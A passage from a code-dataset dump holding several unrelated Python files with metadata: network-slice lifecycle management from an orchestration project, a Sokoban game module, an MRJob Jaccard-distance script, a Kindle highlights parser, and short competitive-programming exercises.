netslice_vld[\"name\"], \"sites\"), RO_vld_sites)\n\n RO_ns_params[\"scenario\"] = {\"nets\": [{\"name\": netslice_vld[\"name\"],\n \"external\": mgmt_network, \"type\": \"bridge\"}]}\n\n # self.logger.debug(logging_text + step)\n desc = await RO.create(\"ns\", descriptor=RO_ns_params)\n db_nsir_update_RO = {}\n db_nsir_update_RO[\"netslice_scenario_id\"] = desc[\"uuid\"]\n db_nsir_update_RO[\"vld_id\"] = RO_ns_params[\"name\"]\n db_nsir_update[\"_admin.deployed.RO\"].append(db_nsir_update_RO)\n\n def overwrite_nsd_params(self, db_nsir, nslcmop):\n RO_list = []\n vld_op_list = []\n vld = None\n nsr_id = nslcmop.get(\"nsInstanceId\")\n # Overwrite instantiation parameters in netslice runtime\n if db_nsir.get(\"_admin\"):\n if db_nsir[\"_admin\"].get(\"deployed\"):\n db_admin_deployed_nsir = db_nsir[\"_admin\"].get(\"deployed\")\n if db_admin_deployed_nsir.get(\"RO\"):\n RO_list = db_admin_deployed_nsir[\"RO\"]\n\n for RO_item in RO_list:\n for netslice_vld in get_iterable(db_nsir[\"_admin\"], \"netslice-vld\"):\n # if is equal vld of _admin with vld of netslice-vld then go for the CPs\n if RO_item.get(\"vld_id\") == netslice_vld.get(\"id\"):\n # Search the cp of netslice-vld that match with nst:netslice-subnet\n for nss_cp_item in get_iterable(netslice_vld, \"nss-connection-point-ref\"):\n # Search the netslice-subnet of nst that match\n for nss in get_iterable(db_nsir[\"_admin\"], \"netslice-subnet\"):\n # Compare nss-ref equal nss from nst\n if nss_cp_item[\"nss-ref\"] == nss[\"nss-id\"]:\n db_nsds = self.db.get_one(\"nsds\", {\"_id\": nss[\"nsdId\"]})\n # Go for nsd, and search the CP that match with nst:CP to get vld-id-ref\n for cp_nsd in db_nsds.get(\"connection-point\", ()):\n if cp_nsd[\"name\"] == nss_cp_item[\"nsd-connection-point-ref\"]:\n if nslcmop.get(\"operationParams\"):\n if nslcmop[\"operationParams\"].get(\"nsName\") == nss[\"nsName\"]:\n vld_id = RO_item[\"vld_id\"]\n netslice_scenario_id = RO_item[\"netslice_scenario_id\"]\n nslcmop_vld = {}\n nslcmop_vld[\"ns-net\"] = {vld_id: netslice_scenario_id}\n nslcmop_vld[\"name\"] = cp_nsd[\"vld-id-ref\"]\n for vld in get_iterable(nslcmop[\"operationParams\"], \"vld\"):\n if vld[\"name\"] == cp_nsd[\"vld-id-ref\"]:\n nslcmop_vld.update(vld)\n vld_op_list.append(nslcmop_vld)\n nslcmop[\"operationParams\"][\"vld\"] = vld_op_list\n self.update_db_2(\"nslcmops\", nslcmop[\"_id\"], {\"operationParams.vld\": vld_op_list})\n return nsr_id, nslcmop\n\n try:\n # wait for any previous tasks in process\n await self.lcm_tasks.waitfor_related_HA('nsi', 'nsilcmops', nsilcmop_id)\n\n step = \"Getting nsir={} from db\".format(nsir_id)\n db_nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n step = \"Getting nsilcmop={} from db\".format(nsilcmop_id)\n db_nsilcmop = self.db.get_one(\"nsilcmops\", {\"_id\": nsilcmop_id})\n\n start_deploy = time()\n nsi_params = db_nsilcmop.get(\"operationParams\")\n if nsi_params and nsi_params.get(\"timeout_nsi_deploy\"):\n timeout_nsi_deploy = nsi_params[\"timeout_nsi_deploy\"]\n else:\n timeout_nsi_deploy = self.timeout.get(\"nsi_deploy\", self.timeout_nsi_deploy)\n\n # Empty list to keep track of network service records status in the netslice\n nsir_admin = db_nsir_admin = db_nsir.get(\"_admin\")\n\n step = \"Creating slice operational-status init\"\n # Slice status Creating\n db_nsir_update[\"detailed-status\"] = \"creating\"\n db_nsir_update[\"operational-status\"] = \"init\"\n db_nsir_update[\"_admin.nsiState\"] = \"INSTANTIATED\"\n\n step = \"Instantiating netslice VLDs before NS instantiation\"\n # Creating netslice VLDs networking before NS instantiation\n db_nsir_update[\"detailed-status\"] = step\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n db_nsir_update[\"_admin.deployed.RO\"] = db_nsir_admin[\"deployed\"][\"RO\"]\n for vld_item in get_iterable(nsir_admin, \"netslice-vld\"):\n await netslice_scenario_create(self, vld_item, nsir_id, db_nsir, db_nsir_admin, db_nsir_update)\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n\n step = \"Instantiating netslice subnets\"\n db_nsir_update[\"detailed-status\"] = step\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n\n db_nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n\n # Check status of the VLDs and wait for creation\n # netslice_scenarios = db_nsir[\"_admin\"][\"deployed\"][\"RO\"]\n # db_nsir_update_RO = deepcopy(netslice_scenarios)\n # for netslice_scenario in netslice_scenarios:\n # await netslice_scenario_check(self, netslice_scenario[\"netslice_scenario_id\"],\n # nsir_id, db_nsir_update_RO)\n\n # db_nsir_update[\"_admin.deployed.RO\"] = db_nsir_update_RO\n # self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n\n # Iterate over the network services operation ids to instantiate NSs\n step = \"Instantiating Netslice Subnets\"\n db_nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n nslcmop_ids = db_nsilcmop[\"operationParams\"].get(\"nslcmops_ids\")\n for nslcmop_id in nslcmop_ids:\n nslcmop = self.db.get_one(\"nslcmops\", {\"_id\": nslcmop_id})\n # Overwriting netslice-vld vim-net-id to ns\n nsr_id, nslcmop = overwrite_nsd_params(self, db_nsir, nslcmop)\n step = \"Launching ns={} instantiate={} task\".format(nsr_id, nslcmop_id)\n task = asyncio.ensure_future(self.ns.instantiate(nsr_id, nslcmop_id))\n self.lcm_tasks.register(\"ns\", nsr_id, nslcmop_id, \"ns_instantiate\", task)\n\n # Wait until Network Slice is ready\n step = \" Waiting nsi ready.\"\n nsrs_detailed_list_old = None\n self.logger.debug(logging_text + step)\n\n # For HA, it is checked from database, as the ns operation may be managed by other LCM worker\n while time() <= start_deploy + timeout_nsi_deploy:\n # Check ns instantiation status\n nsi_ready = True\n nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n nsrs_detailed_list = nsir[\"_admin\"][\"nsrs-detailed-list\"]\n nsrs_detailed_list_new = []\n for nslcmop_item in nslcmop_ids:\n nslcmop = self.db.get_one(\"nslcmops\", {\"_id\": nslcmop_item})\n status = nslcmop.get(\"operationState\")\n # TODO: (future improvement) other possible status: ROLLING_BACK,ROLLED_BACK\n for nss in nsrs_detailed_list:\n if nss[\"nsrId\"] == nslcmop[\"nsInstanceId\"]:\n nss.update({\"nsrId\": nslcmop[\"nsInstanceId\"], \"status\": nslcmop[\"operationState\"],\n \"detailed-status\": nslcmop.get(\"detailed-status\"),\n \"instantiated\": True})\n nsrs_detailed_list_new.append(nss)\n if status not in [\"COMPLETED\", \"PARTIALLY_COMPLETED\", \"FAILED\", \"FAILED_TEMP\"]:\n nsi_ready = False\n\n if nsrs_detailed_list_new != nsrs_detailed_list_old:\n nsrs_detailed_list_old = nsrs_detailed_list_new\n self.update_db_2(\"nsis\", nsir_id, {\"_admin.nsrs-detailed-list\": nsrs_detailed_list_new})\n\n if nsi_ready:\n error_list = []\n step = \"Network Slice Instance instantiated\"\n for nss in nsrs_detailed_list:\n if nss[\"status\"] in (\"FAILED\", \"FAILED_TEMP\"):\n error_list.append(\"NS {} {}: {}\".format(nss[\"nsrId\"], nss[\"status\"],\n nss[\"detailed-status\"]))\n if error_list:\n step = \"instantiating\"\n raise LcmException(\"; \".join(error_list))\n break\n\n # TODO: future improvement due to synchronism -> await asyncio.wait(vca_task_list, timeout=300)\n await asyncio.sleep(5, loop=self.loop)\n\n else: # timeout_nsi_deploy reached:\n raise LcmException(\"Timeout waiting nsi to be ready.\")\n\n db_nsir_update[\"operational-status\"] = \"running\"\n db_nsir_update[\"detailed-status\"] = \"done\"\n db_nsir_update[\"config-status\"] = \"configured\"\n db_nsilcmop_update[\"operationState\"] = nsilcmop_operation_state = \"COMPLETED\"\n db_nsilcmop_update[\"statusEnteredTime\"] = time()\n db_nsilcmop_update[\"detailed-status\"] = \"done\"\n return\n\n except (LcmException, DbException) as e:\n self.logger.error(logging_text + \"Exit Exception while '{}': {}\".format(step, e))\n exc = e\n except asyncio.CancelledError:\n self.logger.error(logging_text + \"Cancelled Exception while '{}'\".format(step))\n exc = \"Operation was cancelled\"\n except Exception as e:\n exc = traceback.format_exc()\n self.logger.critical(logging_text + \"Exit Exception {} while '{}': {}\".format(type(e).__name__, step, e),\n exc_info=True)\n finally:\n if exc:\n if db_nsir:\n db_nsir_update[\"detailed-status\"] = \"ERROR {}: {}\".format(step, exc)\n db_nsir_update[\"operational-status\"] = \"failed\"\n db_nsir_update[\"config-status\"] = \"configured\"\n if db_nsilcmop:\n db_nsilcmop_update[\"detailed-status\"] = \"FAILED {}: {}\".format(step, exc)\n db_nsilcmop_update[\"operationState\"] = nsilcmop_operation_state = \"FAILED\"\n db_nsilcmop_update[\"statusEnteredTime\"] = time()\n try:\n if db_nsir:\n db_nsir_update[\"_admin.nsilcmop\"] = None\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n if db_nsilcmop:\n self.update_db_2(\"nsilcmops\", nsilcmop_id, db_nsilcmop_update)\n except DbException as e:\n self.logger.error(logging_text + \"Cannot update database: {}\".format(e))\n if nsilcmop_operation_state:\n try:\n await self.msg.aiowrite(\"nsi\", \"instantiated\", {\"nsir_id\": nsir_id, \"nsilcmop_id\": nsilcmop_id,\n \"operationState\": nsilcmop_operation_state})\n except Exception as e:\n self.logger.error(logging_text + \"kafka_write notification Exception {}\".format(e))\n self.logger.debug(logging_text + \"Exit\")\n self.lcm_tasks.remove(\"nsi\", nsir_id, nsilcmop_id, \"nsi_instantiate\")\n\n async def terminate(self, nsir_id, nsilcmop_id):\n\n # Try to lock HA task here\n task_is_locked_by_me = self.lcm_tasks.lock_HA('nsi', 'nsilcmops', nsilcmop_id)\n if not task_is_locked_by_me:\n return\n\n logging_text = \"Task nsi={} terminate={} \".format(nsir_id, nsilcmop_id)\n self.logger.debug(logging_text + \"Enter\")\n exc = None\n db_nsir = None\n db_nsilcmop = None\n db_nsir_update = {\"_admin.nsilcmop\": nsilcmop_id}\n db_nsilcmop_update = {}\n RO = ROclient.ROClient(self.loop, **self.ro_config)\n nsir_deployed = None\n failed_detail = [] # annotates all failed error messages\n nsilcmop_operation_state = None\n autoremove = False # autoremove after terminated\n try:\n # wait for any previous tasks in process\n await self.lcm_tasks.waitfor_related_HA('nsi', 'nsilcmops', nsilcmop_id)\n\n step = \"Getting nsir={} from db\".format(nsir_id)\n db_nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n nsir_deployed = deepcopy(db_nsir[\"_admin\"].get(\"deployed\"))\n step = \"Getting nsilcmop={} from db\".format(nsilcmop_id)\n db_nsilcmop = self.db.get_one(\"nsilcmops\", {\"_id\": nsilcmop_id})\n\n # TODO: Check if makes sense check the nsiState=NOT_INSTANTIATED when terminate\n # CASE: Instance was terminated but there is a second request to terminate the instance\n if db_nsir[\"_admin\"][\"nsiState\"] == \"NOT_INSTANTIATED\":\n return\n\n # Slice status Terminating\n db_nsir_update[\"operational-status\"] = \"terminating\"\n db_nsir_update[\"config-status\"] = \"terminating\"\n db_nsir_update[\"detailed-status\"] = \"Terminating Netslice subnets\"\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n\n # Gets the list to keep track of network service records status in the netslice\n nsrs_detailed_list = []\n\n # Iterate over the network services operation ids to terminate NSs\n # TODO: (future improvement) look another way check the tasks instead of keep asking\n # -> https://docs.python.org/3/library/asyncio-task.html#waiting-primitives\n # steps: declare ns_tasks, add task when terminate is called, await asyncio.wait(vca_task_list, timeout=300)\n step = \"Terminating Netslice Subnets\"\n nslcmop_ids = db_nsilcmop[\"operationParams\"].get(\"nslcmops_ids\")\n nslcmop_new = []\n for nslcmop_id in nslcmop_ids:\n nslcmop = self.db.get_one(\"nslcmops\", {\"_id\": nslcmop_id})\n nsr_id = nslcmop[\"operationParams\"].get(\"nsInstanceId\")\n nss_in_use = self.db.get_list(\"nsis\", {\"_admin.netslice-vld.ANYINDEX.shared-nsrs-list\": nsr_id,\n \"operational-status\": {\"$nin\": [\"terminated\", \"failed\"]}})\n if len(nss_in_use) < 2:\n task = asyncio.ensure_future(self.ns.terminate(nsr_id, nslcmop_id))\n self.lcm_tasks.register(\"ns\", nsr_id, nslcmop_id, \"ns_instantiate\", task)\n nslcmop_new.append(nslcmop_id)\n else:\n # Update shared nslcmop shared with active nsi\n netsliceInstanceId = db_nsir[\"_id\"]\n for nsis_item in nss_in_use:\n if db_nsir[\"_id\"] != nsis_item[\"_id\"]:\n netsliceInstanceId = nsis_item[\"_id\"]\n break\n self.db.set_one(\"nslcmops\", {\"_id\": nslcmop_id},\n {\"operationParams.netsliceInstanceId\": netsliceInstanceId})\n self.db.set_one(\"nsilcmops\", {\"_id\": nsilcmop_id}, {\"operationParams.nslcmops_ids\": nslcmop_new})\n\n # Wait until Network Slice is terminated\n step = nsir_status_detailed = \" Waiting nsi terminated. nsi_id={}\".format(nsir_id)\n nsrs_detailed_list_old = None\n self.logger.debug(logging_text + step)\n\n termination_timeout = 2 * 3600 # Two hours\n while termination_timeout > 0:\n # Check ns termination status\n nsi_ready = True\n db_nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n nsrs_detailed_list = db_nsir[\"_admin\"].get(\"nsrs-detailed-list\")\n nsrs_detailed_list_new = []\n for nslcmop_item in nslcmop_ids:\n nslcmop = self.db.get_one(\"nslcmops\", {\"_id\": nslcmop_item})\n status = nslcmop[\"operationState\"]\n # TODO: (future improvement) other possible status: ROLLING_BACK,ROLLED_BACK \n for nss in nsrs_detailed_list:\n if nss[\"nsrId\"] == nslcmop[\"nsInstanceId\"]:\n nss.update({\"nsrId\": nslcmop[\"nsInstanceId\"], \"status\": nslcmop[\"operationState\"],\n \"detailed-status\":\n nsir_status_detailed + \"; {}\".format(nslcmop.get(\"detailed-status\"))})\n nsrs_detailed_list_new.append(nss)\n if status not in [\"COMPLETED\", \"PARTIALLY_COMPLETED\", \"FAILED\", \"FAILED_TEMP\"]:\n nsi_ready = False\n\n if nsrs_detailed_list_new != nsrs_detailed_list_old:\n nsrs_detailed_list_old = nsrs_detailed_list_new\n self.update_db_2(\"nsis\", nsir_id, {\"_admin.nsrs-detailed-list\": nsrs_detailed_list_new})\n\n if nsi_ready:\n # Check if it is the last used nss and mark isinstantiate: False\n db_nsir = self.db.get_one(\"nsis\", {\"_id\": nsir_id})\n nsrs_detailed_list = db_nsir[\"_admin\"].get(\"nsrs-detailed-list\")\n for nss in nsrs_detailed_list:\n _filter = {\"_admin.nsrs-detailed-list.ANYINDEX.nsrId\": nss[\"nsrId\"],\n \"operational-status.ne\": \"terminated\",\n \"_id.ne\": nsir_id}\n nsis_list = self.db.get_one(\"nsis\", _filter, fail_on_empty=False, fail_on_more=False)\n if not nsis_list:\n nss.update({\"instantiated\": False})\n\n step = \"Network Slice Instance is terminated. nsi_id={}\".format(nsir_id)\n for items in nsrs_detailed_list:\n if \"FAILED\" in items.values():\n raise LcmException(\"Error terminating NSI: {}\".format(nsir_id))\n break\n\n await asyncio.sleep(5, loop=self.loop)\n termination_timeout -= 5\n\n if termination_timeout <= 0:\n raise LcmException(\"Timeout waiting nsi to be terminated. nsi_id={}\".format(nsir_id))\n\n # Delete netslice-vlds\n RO_nsir_id = RO_delete_action = None\n for nsir_deployed_RO in get_iterable(nsir_deployed, \"RO\"):\n RO_nsir_id = nsir_deployed_RO.get(\"netslice_scenario_id\")\n try:\n step = db_nsir_update[\"detailed-status\"] = \"Deleting netslice-vld at RO\"\n db_nsilcmop_update[\"detailed-status\"] = \"Deleting netslice-vld at RO\"\n self.logger.debug(logging_text + step)\n desc = await RO.delete(\"ns\", RO_nsir_id)\n RO_delete_action = desc[\"action_id\"]\n nsir_deployed_RO[\"vld_delete_action_id\"] = RO_delete_action\n nsir_deployed_RO[\"vld_status\"] = \"DELETING\"\n db_nsir_update[\"_admin.deployed\"] = nsir_deployed\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n if RO_delete_action:\n # wait until NS is deleted from VIM\n step = \"Waiting ns deleted from VIM. RO_id={}\".format(RO_nsir_id)\n self.logger.debug(logging_text + step)\n except ROclient.ROClientException as e:\n if e.http_code == 404: # not found\n nsir_deployed_RO[\"vld_id\"] = None\n nsir_deployed_RO[\"vld_status\"] = \"DELETED\"\n self.logger.debug(logging_text + \"RO_ns_id={} already deleted\".format(RO_nsir_id))\n elif e.http_code == 409: # conflict\n failed_detail.append(\"RO_ns_id={} delete conflict: {}\".format(RO_nsir_id, e))\n self.logger.debug(logging_text + failed_detail[-1])\n else:\n failed_detail.append(\"RO_ns_id={} delete error: {}\".format(RO_nsir_id, e))\n self.logger.error(logging_text + failed_detail[-1])\n\n if failed_detail:\n self.logger.error(logging_text + \" ;\".join(failed_detail))\n db_nsir_update[\"operational-status\"] = \"failed\"\n db_nsir_update[\"detailed-status\"] = \"Deletion errors \" + \"; \".join(failed_detail)\n db_nsilcmop_update[\"detailed-status\"] = \"; \".join(failed_detail)\n db_nsilcmop_update[\"operationState\"] = nsilcmop_operation_state = \"FAILED\"\n db_nsilcmop_update[\"statusEnteredTime\"] = time()\n else:\n db_nsir_update[\"operational-status\"] = \"terminating\"\n db_nsir_update[\"config-status\"] = \"terminating\"\n db_nsir_update[\"_admin.nsiState\"] = \"NOT_INSTANTIATED\"\n db_nsilcmop_update[\"operationState\"] = nsilcmop_operation_state = \"COMPLETED\"\n db_nsilcmop_update[\"statusEnteredTime\"] = time()\n if db_nsilcmop[\"operationParams\"].get(\"autoremove\"):\n autoremove = True\n\n db_nsir_update[\"detailed-status\"] = \"done\"\n db_nsir_update[\"operational-status\"] = \"terminated\"\n db_nsir_update[\"config-status\"] = \"terminated\"\n db_nsilcmop_update[\"statusEnteredTime\"] = time()\n db_nsilcmop_update[\"detailed-status\"] = \"done\"\n return\n\n except (LcmException, DbException) as e:\n self.logger.error(logging_text + \"Exit Exception while '{}': {}\".format(step, e))\n exc = e\n except asyncio.CancelledError:\n self.logger.error(logging_text + \"Cancelled Exception while '{}'\".format(step))\n exc = \"Operation was cancelled\"\n except Exception as e:\n exc = traceback.format_exc()\n self.logger.critical(logging_text + \"Exit Exception {} while '{}': {}\".format(type(e).__name__, step, e),\n exc_info=True)\n finally:\n if exc:\n if db_nsir:\n db_nsir_update[\"_admin.deployed\"] = nsir_deployed\n db_nsir_update[\"detailed-status\"] = \"ERROR {}: {}\".format(step, exc)\n db_nsir_update[\"operational-status\"] = \"failed\"\n if db_nsilcmop:\n db_nsilcmop_update[\"detailed-status\"] = \"FAILED {}: {}\".format(step, exc)\n db_nsilcmop_update[\"operationState\"] = nsilcmop_operation_state = \"FAILED\"\n db_nsilcmop_update[\"statusEnteredTime\"] = time()\n try:\n if db_nsir:\n db_nsir_update[\"_admin.deployed\"] = nsir_deployed\n db_nsir_update[\"_admin.nsilcmop\"] = None\n self.update_db_2(\"nsis\", nsir_id, db_nsir_update)\n if db_nsilcmop:\n self.update_db_2(\"nsilcmops\", nsilcmop_id, db_nsilcmop_update)\n except DbException as e:\n self.logger.error(logging_text + \"Cannot update database: {}\".format(e))\n\n if nsilcmop_operation_state:\n try:\n await self.msg.aiowrite(\"nsi\", \"terminated\", {\"nsir_id\": nsir_id, \"nsilcmop_id\": nsilcmop_id,\n \"operationState\": nsilcmop_operation_state,\n \"autoremove\": autoremove},\n loop=self.loop)\n except Exception as e:\n self.logger.error(logging_text + \"kafka_write notification Exception {}\".format(e))\n self.logger.debug(logging_text + \"Exit\")\n self.lcm_tasks.remove(\"nsi\", nsir_id, nsilcmop_id, \"nsi_terminate\")\n","sub_path":"osm_lcm/netslice.py","file_name":"netslice.py","file_ext":"py","file_size_in_byte":34825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"197765191","text":"PARED = \"#\"\nCAJA = \"$\"\nJUGADOR = \"@\"\nOBJETIVO = \".\"\nOBJETIVO_CAJA = \"*\"\nOBJETIVO_JUGADOR = \"+\"\n\ndef crear_grilla(desc):\n '''Crea una grilla a partir de la descripción del estado inicial'''\n return desc\n\ndef dimensiones(grilla):\n '''Devuelve una tupla con la cantidad de columnas y filas de la grilla.'''\n filas = len(grilla)\n columnas = len(max(grilla, key=len))\n return (columnas, filas)\n\ndef hay_pared(grilla, c, f):\n '''Devuelve True si hay una pared en la columna y fila (c, f).'''\n return grilla[f][c] == PARED\n\ndef hay_objetivo(grilla, c, f):\n '''Devuelve True si hay un objetivo en la columna y fila (c, f).'''\n return grilla[f][c] == OBJETIVO or grilla[f][c] == OBJETIVO_CAJA or grilla[f][c] == OBJETIVO_JUGADOR\n\ndef hay_caja(grilla, c, f):\n '''Devuelve True si hay una caja en la columna y fila (c, f).'''\n return grilla[f][c] == CAJA or grilla[f][c] == OBJETIVO_CAJA\n\ndef hay_jugador(grilla, c, f):\n '''Devuelve True si el jugador está en la columna y fila (c, f).''' \n return grilla[f][c] == JUGADOR or grilla[f][c] == OBJETIVO_JUGADOR\n\ndef juego_ganado(grilla):\n '''Devuelve True si el juego está ganado.'''\n for fila in grilla:\n for columna in fila:\n if OBJETIVO in columna or OBJETIVO_JUGADOR in columna:\n return False \n return True\n\ndef mover(grilla, direccion):\n '''Mueve el jugador en la dirección indicada.'''\n c_jugador, f_jugador = econtrar_jugador(grilla)\n grilla_movida = grilla[:]\n \n if not puede_moverse(grilla, direccion, c_jugador, f_jugador):\n return grilla\n\n grilla_movida[f_jugador] = remover_jugador(grilla[f_jugador], c_jugador)\n\n grilla_movida[f_jugador + direccion[1]] = agregar_jugador(grilla_movida, f_jugador + direccion[1], c_jugador + direccion[0])\n\n if hay_caja(grilla, c_jugador + direccion[0], f_jugador + direccion[1]):\n grilla_movida[f_jugador + direccion[1] + direccion[1]] = agregar_caja(grilla_movida, f_jugador + direccion[1] + direccion[1], c_jugador + direccion[0] + direccion[0])\n \n return grilla_movida\n\ndef remover_jugador(fila, c_jugador):\n \"\"\"Recibe la fila y la posicion donde esta el jugador y lo remueve de la misma\"\"\"\n cambio_fila = \"\"\n for i in range(len(fila)):\n if i != c_jugador:\n cambio_fila += fila[i]\n continue\n elif fila[i] == JUGADOR:\n cambio_fila += \" \"\n else: \n cambio_fila += OBJETIVO\n return cambio_fila\n\ndef agregar_jugador(grilla, f, c):\n \"\"\"Agrega al jugador a la fila y columna recibida\"\"\"\n cambio_fila = \"\"\n for i in range(len(grilla[f])):\n if i != c:\n cambio_fila += grilla[f][i]\n continue\n elif hay_objetivo(grilla, c, f):\n cambio_fila += OBJETIVO_JUGADOR\n else:\n cambio_fila += JUGADOR\n return cambio_fila\n\ndef agregar_caja(grilla, f, c):\n \"\"\"Agrega una caja a la fila y columna recibida\"\"\"\n cambio_fila = \"\"\n for i in range(len(grilla[f])):\n if i != c:\n cambio_fila += grilla[f][i]\n continue\n elif hay_objetivo(grilla, c, f):\n cambio_fila += OBJETIVO_CAJA\n else:\n cambio_fila += CAJA\n return cambio_fila\n\ndef puede_moverse(grilla, direccion, c, f):\n \"\"\"Devuelve True si el jugador puede moverse en la dirección indicada.\"\"\"\n c_posible = c + direccion[0]\n f_posible = f + direccion[1]\n if hay_pared(grilla, c_posible, f_posible):\n return False\n elif hay_caja(grilla, c_posible, f_posible) and hay_caja(grilla, c_posible + direccion[0], f_posible + direccion[1]):\n return False\n elif hay_caja(grilla, c_posible, f_posible) and hay_pared(grilla, c_posible + direccion[0], f_posible + direccion[1]):\n return False\n return True\n\ndef econtrar_jugador(grilla):\n \"\"\"Devuelve una tupla con la posición del jugador en la grilla.\"\"\"\n for fila in range(len(grilla)):\n for columna in range(len(grilla[fila])):\n if hay_jugador(grilla, columna, fila):\n return (columna, fila)","sub_path":"soko.py","file_name":"soko.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338008594","text":"# To run the program use python Jaccard.py arxivData.json #\r\n\r\nfrom mrjob.job import MRJob\r\nfrom mrjob.step import MRStep\r\nfrom nltk.corpus import stopwords\r\nimport json\r\n\r\n# Summary to match will be provided in search_text.txt file by user\r\nsummary_to_search = open(\"search_text.txt\", \"r\")\r\n\r\n# stop words set to remove generic words for better accuracy while calculating jaccard index and distance\r\nstop_words = stopwords.words('english')\r\n\r\n# Creating list from search text, which will be used to compare with details of paper being matched \r\nsearch_content = [word.lower() for word in summary_to_search.read().split() if not word.lower() in stop_words]\r\n\r\n\r\nclass JacardDistanceofSummary(MRJob):\r\n\r\n def steps(self):\r\n \r\n return [\r\n MRStep(mapper_raw=self.mapper_id_summary, # mapper to preprocess json file\r\n reducer=self.reducer_id_summary) # reducer to obtain id, summary mapping\r\n ,\r\n MRStep(\r\n mapper=self.mapper_jaccard, # mapper for calculation of jaccard index and distance\r\n reducer=self.reducer_minjaccard # reducer to obtain minimum jacard distance matching paper\r\n )\r\n ]\r\n\r\n\r\n\r\n # yields id of paper and tokenized set of words for each paper\r\n def mapper_id_summary(self, path, value):\r\n \r\n # Loading json file provided in argument (ex: arxiv.json)\r\n dataset_paper = json.load(open(path, \"r\"))\r\n\r\n # for each paper preprocess content to form id, words pair\r\n for paper in dataset_paper:\r\n id = paper.get('id')\r\n summary = paper.get('summary').split()\r\n \r\n for word in summary:\r\n if word not in stop_words:\r\n yield id, word.lower()\r\n\r\n # reducer to process mapper output to form (id, list of words) set for each paper\r\n def reducer_id_summary(self, id, word):\r\n yield id, list(word)\r\n\r\n # yield jacard distance and id for paper being matched\r\n def mapper_jaccard(self, id, summary_content):\r\n \r\n # computing jaccard distance\r\n def compute_jacard_distance(to_search, match_summary):\r\n \r\n # https://www.statisticshowto.datasciencecentral.com/jaccard-index\r\n # Formula being used for calculation of Jaccard distance for set A and Set B\r\n # Jaccard distane = 1 - Jaccard index\r\n # where Jaccard index = len(intersection of set A and B) /\r\n # (len(set A) + len(set B) - len(intersection of set A and B))\r\n \r\n set_intersection = set(to_search).intersection(set(match_summary))\r\n jaccard_index = len(set_intersection) / (len(to_search) + len(match_summary) - len(set_intersection))\r\n computed_jaccard_distance = 1 - jaccard_index\r\n \r\n return computed_jaccard_distance\r\n \r\n yield None, (compute_jacard_distance(summary_content, search_content), id)\r\n \r\n # reducer to provide minimum jaccard index related paper id\r\n def reducer_minjaccard(self, _, jaccardsummary_id):\r\n yield 'Minimum Jaccard distance and most matching paper ', min(jaccardsummary_id)\r\n\r\n\r\nif __name__ == '__main__':\r\n JacardDistanceofSummary.run()","sub_path":"ex3/Jaccard.py","file_name":"Jaccard.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"260032803","text":"import os\r\nimport chardet\r\nimport pandas as pd\r\n\r\nfile_path='F:/documents/My Clippings.txt'\r\ndigest_path='D:/Desktop/digest/'\r\nos.mkdir(digest_path)\r\n\r\nwith open(file_path, 'rb') as f:\r\n cur_encoding = chardet.detect(f.read())['encoding']\r\n print (cur_encoding) #当前文件编码\r\n\r\n#用获取的编码读取该文件而不是python3默认的utf-8读取。\r\nwith open(file_path,encoding=cur_encoding) as file:\r\n fileData = file.read()\r\n lines = fileData.rsplit('==========') #lines is a list\r\n store = {'author': [], 'title': [], 'stamp': [], 'location': [], 'type': [], 'sentence': []}\r\n for entry in lines:\r\n try:\r\n book, sentence = entry.split(')\\n- ', 1)\r\n title, author = book.split(' (', 1)\r\n stamp, sentence = sentence.split('\\n\\n')\r\n type, stamp = stamp.split('| ')\r\n type, location = type.split(' on ')\r\n store['author'].append(author.strip())\r\n store['title'].append(title.strip())\r\n store['stamp'].append(stamp.strip())\r\n store['location'].append(location.strip())\r\n store['type'].append(type.strip())\r\n store['sentence'].append(sentence.strip())\r\n except ValueError:\r\n pass\r\n\r\ndf = pd.DataFrame(store)\r\nbooks = df.groupby('title')\r\n#n_book = books.ngroups # return the number of groups as interger\r\nfor title, book in books:\r\n sub_df = pd.DataFrame(book)\r\n #sub_df.to_csv(r'%s%s.csv'%(digest_path,(df.at[0,'title'])),index=False, encoding='utf-8-sig')\r\n sub_df.to_csv(r'%s%s.csv'%(digest_path,title),index=False, encoding='utf-8-sig')\r\n","sub_path":"automation/kindle-digest.py","file_name":"kindle-digest.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367116266","text":"import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nT = int(input())\n\nfor _ in range(T):\n n = int(input())\n l = list(map(int,input().split()))\n l = sorted(l)\n\n dq = deque([])\n flag = True\n for i in range(n):\n if flag:\n dq.append(l[i])\n else :\n dq.appendleft(l[i])\n flag = not flag\n\n ans = 0\n for i in range(n-1):\n ans = max(ans,abs(dq[i]-dq[i+1]))\n ans = max(ans,abs(dq[0]-dq[n-1]))\n print(ans)\n","sub_path":"2021_spring/2021_05_20/11497_JJ.py","file_name":"11497_JJ.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"523593462","text":"\"\"\" Q1 \"\"\"\n\n# You are given an integer list of size n. (n<= 10^7). \n# Now, after taking input of the list you will get another integer q. (q<=10^5).\n# q represents number of queries.\n# you will get q queries and inside each query you ll get two numbers denoting index of list l and r. (0 <= l, r <= n-1) \n# you have to print sum of elements from l to r, for each query.\n\n#python basic\ndef query_inbuilt(li, l, r):\n li = li[l:r+1]\n return sum(li)\n\n# brute force\ndef query_basic(li, l, r):\n 